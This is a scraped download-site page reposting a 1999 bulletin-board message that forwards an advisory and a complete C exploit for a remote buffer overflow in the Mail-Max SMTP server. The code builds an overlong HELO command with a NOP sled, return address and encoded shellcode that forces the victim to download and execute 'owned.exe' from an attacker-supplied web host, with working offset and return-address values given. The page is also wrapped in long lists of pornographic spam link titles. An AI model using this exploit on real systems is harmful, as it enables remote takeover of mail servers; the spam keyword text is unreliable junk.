亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關(guān)于我們
? 蟲蟲下載站

?? mail-max remote buffer overflow exploit.txt

?? 當(dāng)今
?? TXT
字號:
發(fā)信人: biff (大可), 信區(qū): Security 

標(biāo)  題: Mail-Max Remote Buffer Overflow Exploit 

發(fā)信站: 武漢白云黃鶴站 (Sun May 16 15:38:39 1999), 站內(nèi)信件 

  

  

  做服務(wù)器用linux很方便,偏偏還是有人喜歡用win 95/NT來做,這不,又讓人 

發(fā)現(xiàn)了一個漏洞.呵呵,可惜是服務(wù)軟件的問題.....不一定有人用的,很難找 

到地方使用的說. 

  

[ http://www.rootshell.com/ ] 

  

Date: Sun, 14 Feb 1999 01:00:30 -0500 

From: pw <pw@NACS.NET> 

Subject: Mail-Max Remote Buffer Overflow Exploit 

  

        Mail-Max is a SMTP server for windows 95/98/NT.  Unfortunately, it 

has a very large security hole.  By entering SMTP commands with a long 

length one is able to write past the bounds of a buffer on the stack.  By 

overflowing this buffer one can modify the return address stored on the 

stack to point to arbitrary code.  This can be used to gain unauthorized 

remote access. 

  

        When putting code in the buffer to execute there are no major 

restrictions on character set.  The only character I found to interfere 

besides null was 17h (ret).  In this particular overflow's case there is 

more than enough room to place code after the return address on the stack. 

Placeing the exploit code here has major benefits: 

  

          --  It is not as likely to get corrupted as code is that is 

              placed before the return address. 

          --  We can change the return address to point to a jmp esp or 

              equivalent instruction(s) to transfer control to our code. 

              This also allows us to write an exploit that will work 

              on every vulnerable version (assuming the offset stays 

              constant), even versions we don't have access to. 

  

        Mail-Max's basic construction also aids in its exploiting.  When 

it is installed it insists that it have v1.5c of its ODBC Drivers 

installed.  If these drivers are not already installed it will ask to 

install them.  This makes it easy to consistantly exploit, as predicting 

where in memory a jmp esp or equivalent piece of code is located is easy 

because 98% of the mailmax machines will be running this version of the 

libraries. 

  

        Its sad that Mail-Max has this vulnerability as its obvious 

the author(s) know the dangers of buffer overflows.  When you try to 

overflow buffers in popmax (a pop3 server that comes with mailmax), you 

get an error specifying that you tried to overflow a buffer.  You also see 

similar messages when you try to overflow buffers in its sister product 

ftpmax. 

  

        Following this post is an exploit that will force all versions 

of Mail-Max that have the buffer overflow (every version I have tested), 

and are running ODBC drivers v1.5c to download a file from a web 

site, save it, and execute it.  Please note that the file downloaded can't 

be larger than 260,000 bytes. 

  

  

<--------------------------CUT HERE--------------------------> 

  

#include <stdio.h> 

#include <unistd.h> 

#include <fcntl.h> 

#include <netdb.h> 

#include <netinet/in.h> 

#include <sys/socket.h> 

#include <arpa/inet.h> 

  

/* Mail-Max Remote Exploit by _mcp_ <pw@nacs.net> 

This program must be run under x86 Linux 

  

Greets go out to: Morpheus, Killspree, Coolg, Dregvant, Vio, 

Wrl, #finite, #win32asm and anyone I may have missed, you know 

who you are :). 

  

You can reach me on efnet. 

  

No greets go out to etl. 

  

*/ 

  

char code[] = 

"\xEB\x45\xEB\x20\x5B\xFC\x33\xC9\xB1\x82\x8B\xF3\x80\x2B\x1" 

"\x43\xE2\xFA\x8B\xFB\xE8\xE9\xFF\xFF\xFF\xE8\xE4\xFF\xFF\xFF" 

"\xEB\x29\x46\x58\xFF\xE0\xBB\x40\xA5\x1\x10\x56\xFF\x13\x8B" 

"\xE8\x46\x33\xC0\x3A\x6\x75\xF9\x46\x40\x3A\x6\x74\xE5\x56" 

"\x55\xBB\x54\xA5\x1\x10\xFF\x13\xAB\xEB\xE7\xEB\x4F\x33\xC9" 

"\x66\x49\xC1\xC1\x2\x51\x33\xC0\x51\x50\xFF\x57\xE8\x8B\xE8" 

"\x33\xC9\x51\x51\x51\x51\x57\xFF\x57\xF4\x33\xC9\x51\x51\x51" 

"\x51\x56\x50\xFF\x57\xF8\x59\x57\x51\x55\x50\xFF\x57\xFC\x83" 

"\xC6\x7\x33\xC9\x51\x56\xFF\x57\xDC\xFF\x37\x55\x50\x8B\xE8" 

"\xFF\x57\xE0\x55\xFF\x57\xE4\x33\xC9\x51\x56\xFF\x57\xEC\xFF" 

"\x57\xF0\xE8\x67\xFF\xFF\xFF\x4C\x46\x53\x4F\x46\x4D\x34\x33" 

"\x1\x60\x6D\x64\x73\x66\x62\x75\x1\x60\x6D\x78\x73\x6A\x75" 

"\x66\x1\x60\x6D\x64\x6D\x70\x74\x66\x1\x48\x6D\x70\x63\x62" 

"\x6D\x42\x6D\x6D\x70\x64\x1\x58\x6A\x6F\x46\x79\x66\x64\x1" 

"\x46\x79\x6A\x75\x51\x73\x70\x64\x66\x74\x74\x1\x2\x58\x4A" 

"\x4F\x4A\x4F\x46\x55\x1\x4A\x6F\x75\x66\x73\x6F\x66\x75\x50" 

"\x71\x66\x6F\x42\x1\x4A\x6F\x75\x66\x73\x6F\x66\x75\x50\x71" 

"\x66\x6F\x56\x73\x6D\x42\x1\x4A\x6F\x75\x66\x73\x6F\x66\x75" 

"\x53\x66\x62\x65\x47\x6A\x6D\x66\x1\x2\x69\x75\x75\x71\x3B" 

"\x30\x30\x00"; 

  

    /*This is the encrypted /~pw/owned.exe we paste at the end */ 

char dir[] = "\x30\x7f\x71\x78\x30\x70\x78\x6f\x66\x65\x2F\x66\x79\x66\x1\x0"; 

  

  

unsigned int getip(char *hostname) 

  { 

  struct hostent *hostinfo; 

  unsigned int binip; 

  

  hostinfo = gethostbyname(hostname); 

  

  if(!hostinfo) 

    { 

      printf("cant find: %s\n",hostname); 

      exit(0); 

    } 

  bcopy(hostinfo -> h_addr, (char  *)&binip, hostinfo -> h_length); 

  return(binip); 

  } 

  

  

int usages(char *fname) 

{ 

      printf("Remote Mail-Max exploit v1.0 by _mcp_ <pw@nacs.net>.\n"); 

      printf("Usages: \n"); 

      printf("%s <target host> <http site> <offset> <return address>\n", 

fname); 

      printf("All known versions offset = 539, Return address = 79887315\n"); 

      printf("Will make target download, save, and execute http://<http site>/~p 

/owned.exe\n"); 

  

exit(0); 

  

} 

  

  

main (int argc, char *argv[]) 

{ 

  int sock,filedesc,offset,targethost,sinlen,codelength; 

  struct sockaddr_in sin; 

  unsigned char buffer[8000]; 

  char ipbuffer[16]; 

  unsigned char *ptr,*ptr2; 

  unsigned long ret_addr; 

  int len,x = 1; 

  unsigned long address; 

  

  if (argc < 5) usages(argv[0]); 

  

  targethost = getip(argv[1]); 

  

  

   len = strlen(argv[2]); 

    if (len > 60) 

     { 

       printf("Bad http format!\n"); 

       usages(argv[0]); 

     } 

  

   ptr = argv[2]; 

   while (x <= len) 

      { 

        x++; 

        (*ptr)++;           /*Encrypt the http ip for later parsing */ 

        ptr++; 

      } 

  

  offset = atoi(argv[3]); 

  ret_addr = atol(argv[4]); 

  

  if (offset > 7000) 

     { 

  

       printf("Offset too large.\n"); 

       exit(0); 

     } 

  

  sock = socket(AF_INET,SOCK_STREAM,0); 

  

  sin.sin_family = AF_INET; 

  sin.sin_addr.s_addr = targethost; 

  sin.sin_port = htons(25); 

  sinlen = sizeof(sin); 

  

  

  printf("Starting to create the egg\n"); 

  ptr = (char *)&buffer; 

  strcpy(ptr,"HELO "); 

  ptr+=5; 

  

  memset((void *)ptr, 0x90, 7000); 

  

  ptr+=offset; 

  memcpy ((void *) ptr,(void *)&ret_addr, 4); 

  ptr+=60; 

  memcpy((void *) ptr,(void *)&code,strlen(code)); 

  

  

  (char *) ptr2 = strstr(ptr,"\xb1"); 

  if (ptr2 == NULL) 

     { 

       printf("Bad shell code\n"); 

       exit(0); 

     } 

  ptr2++; 

  (*ptr2)+= len + ( sizeof(dir) - 1 ); 

  

   (char *) ptr2 = strstr(ptr,"\x83\xc6"); 

     if (ptr2 == NULL) 

      { 

        printf("Bad shell code\n"); 

        exit(0); 

  

      } 

  

  ptr2+= 2; 

  

  (*ptr2)+= len + 8; 

  

  ptr+=strlen(code); 

  memcpy((void *) ptr, (void *) argv[2], len);   /*Parse in the http 

  site's info */ 

  ptr+=len; 

  memcpy((void *) ptr,(void*) &dir, sizeof(dir) ); 

  printf("Made the egg\n"); 

  

    if ( connect(sock, (struct sockaddr *)&sin, sinlen) == -1) 

     { 

       perror("error:"); 

       exit(0); 

     } 

    printf("Connected.\n"); 

  

    write(sock, &buffer, strlen((char *)&buffer) ); 

    write(sock,"\r\n",2); 

    sleep(1); 

    printf("Sent the egg\n"); 

   close(sock); 

   exit(1); 



} 

  

  

-- 

?? 快捷鍵說明

復(fù)制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
欧美日韩免费观看一区三区| 911精品国产一区二区在线| 日韩区在线观看| 艳妇臀荡乳欲伦亚洲一区| 国产福利精品一区| 日韩一区二区三区免费观看| 亚洲综合另类小说| 91丝袜呻吟高潮美腿白嫩在线观看| 精品对白一区国产伦| 日本怡春院一区二区| 欧美在线你懂的| 亚洲美女免费在线| av电影在线观看一区| 欧美激情艳妇裸体舞| 国内精品久久久久影院薰衣草 | 亚洲国产综合在线| av电影一区二区| 中国色在线观看另类| 韩国精品一区二区| 日韩欧美亚洲国产另类| 日韩精彩视频在线观看| 欧美三级电影网| 一区二区三区精品在线| 色香蕉成人二区免费| 亚洲欧洲日产国产综合网| 粉嫩13p一区二区三区| 国产性色一区二区| 国产麻豆欧美日韩一区| 亚洲精品一区二区三区蜜桃下载 | 99综合电影在线视频| 国产欧美日韩激情| 福利91精品一区二区三区| 久久精品一区蜜桃臀影院| 国产麻豆精品一区二区| 2020国产精品久久精品美国| 精品一区二区精品| 久久婷婷色综合| 国产精品66部| 中文字幕欧美国产| 99综合影院在线| 亚洲视频一区在线| 色综合色综合色综合色综合色综合| 国产女主播一区| 成人h精品动漫一区二区三区| 欧美国产日韩精品免费观看| 不卡一区二区三区四区| 亚洲欧洲精品成人久久奇米网| 9人人澡人人爽人人精品| 中文字幕在线观看不卡视频| 91在线丨porny丨国产| 亚洲精品国产无套在线观 | 国产一区二区主播在线| 精品成人在线观看| 懂色一区二区三区免费观看| 亚洲欧美综合另类在线卡通| 色综合天天综合色综合av| 夜夜揉揉日日人人青青一国产精品| 欧美影院一区二区三区| 免费观看成人av| 国产亚洲一二三区| 91猫先生在线| 丝袜美腿亚洲一区| 久久伊99综合婷婷久久伊| 国产999精品久久久久久| 亚洲婷婷综合色高清在线| 欧美日韩一级片在线观看| 久久不见久久见中文字幕免费| 国产亚洲短视频| 91香蕉视频污| 日本在线播放一区二区三区| 久久久蜜臀国产一区二区| 91在线视频免费观看| 日韩av一级片| 国产精品入口麻豆原神| 欧美性猛片aaaaaaa做受| 久草热8精品视频在线观看| 国产精品色呦呦| 欧美另类变人与禽xxxxx| 国产一区二区三区日韩| 亚洲女人小视频在线观看| 欧美久久婷婷综合色| 国产大片一区二区| 亚洲午夜av在线| 久久久久久亚洲综合| 在线观看三级视频欧美| 激情综合色综合久久综合| 中文字幕一区二区三区精华液| 欧美日韩成人综合在线一区二区| 国产在线精品一区二区不卡了| 亚洲人成在线播放网站岛国| 欧美一区二区黄| 99国产精品国产精品久久| 青娱乐精品视频在线| 最新日韩在线视频| 精品美女在线观看| 一本色道久久综合亚洲aⅴ蜜桃 | 男人操女人的视频在线观看欧美| 国产嫩草影院久久久久| 欧美日韩精品一区二区三区四区| 国产一区高清在线| 午夜成人免费电影| 国产精品每日更新在线播放网址| 777午夜精品视频在线播放| 成人av影院在线| 奇米一区二区三区| 亚洲男帅同性gay1069| 久久综合狠狠综合久久激情| 欧美三级资源在线| 99re8在线精品视频免费播放| 久久精品免费观看| 亚洲精品乱码久久久久久久久| 久久嫩草精品久久久精品| 欧美日韩二区三区| 91在线porny国产在线看| 国产精品 欧美精品| 日韩高清欧美激情| 亚洲一线二线三线久久久| 国产喂奶挤奶一区二区三区| 欧美一区二区三区视频在线观看| 色诱亚洲精品久久久久久| 国产精品18久久久久久久久| 日本不卡一区二区| 亚洲网友自拍偷拍| 亚洲三级免费观看| 国产精品欧美极品| 国产亚洲精品aa| 精品国免费一区二区三区| 宅男噜噜噜66一区二区66| 欧美在线短视频| 91麻豆精品在线观看| 成人黄色电影在线| 国产成人午夜视频| 精品一区二区三区av| 蜜桃精品视频在线| 日韩一区精品视频| 亚洲大片精品永久免费| 亚洲精品乱码久久久久久| 亚洲欧洲国产日韩| 国产精品久久久久久户外露出 | 欧美视频你懂的| 在线免费观看不卡av| 91美女精品福利| 99re热视频精品| 91亚洲精品久久久蜜桃网站| 不卡一区中文字幕| 成人av高清在线| 成人福利视频网站| www.色精品| 97久久超碰国产精品电影| 成av人片一区二区| 91亚洲大成网污www| 91污在线观看| 在线视频欧美区| 欧美日韩视频在线第一区| 欧美日韩国产一级| 7777精品伊人久久久大香线蕉| 欧美理论在线播放| 91精品国产高清一区二区三区| 91精品国产乱码久久蜜臀| 欧美一区二区三区系列电影| 日韩一卡二卡三卡| 欧美精品一区二区三区很污很色的| 欧美大片免费久久精品三p| 欧美成人猛片aaaaaaa| 久久综合九色综合欧美98| 国产午夜精品一区二区三区嫩草| 国产欧美日韩亚州综合| 国产精品高潮久久久久无| 亚洲免费观看高清完整版在线观看| 亚洲蜜臀av乱码久久精品| 亚洲成人av一区| 久久国产尿小便嘘嘘尿| 国产精品亚洲一区二区三区在线| 国产成人免费av在线| 99亚偷拍自图区亚洲| 在线观看视频91| 欧美一区三区二区| 久久久www免费人成精品| 国产欧美日韩综合精品一区二区| 1000精品久久久久久久久| 夜夜夜精品看看| 久久se精品一区精品二区| 风间由美中文字幕在线看视频国产欧美| 99视频精品在线| 欧美日韩免费在线视频| 精品国产免费久久| 国产精品久久久久久久久晋中| 一区二区在线看| 青青草原综合久久大伊人精品优势 | 久久综合色播五月| 中文字幕中文字幕在线一区 | 日韩国产欧美在线视频| 国产美女在线观看一区| 91视频精品在这里| 欧美一级黄色大片| 国产精品久久久久一区| 午夜视频在线观看一区二区三区 | 青青青伊人色综合久久| 粉嫩高潮美女一区二区三区 | 一本久久精品一区二区|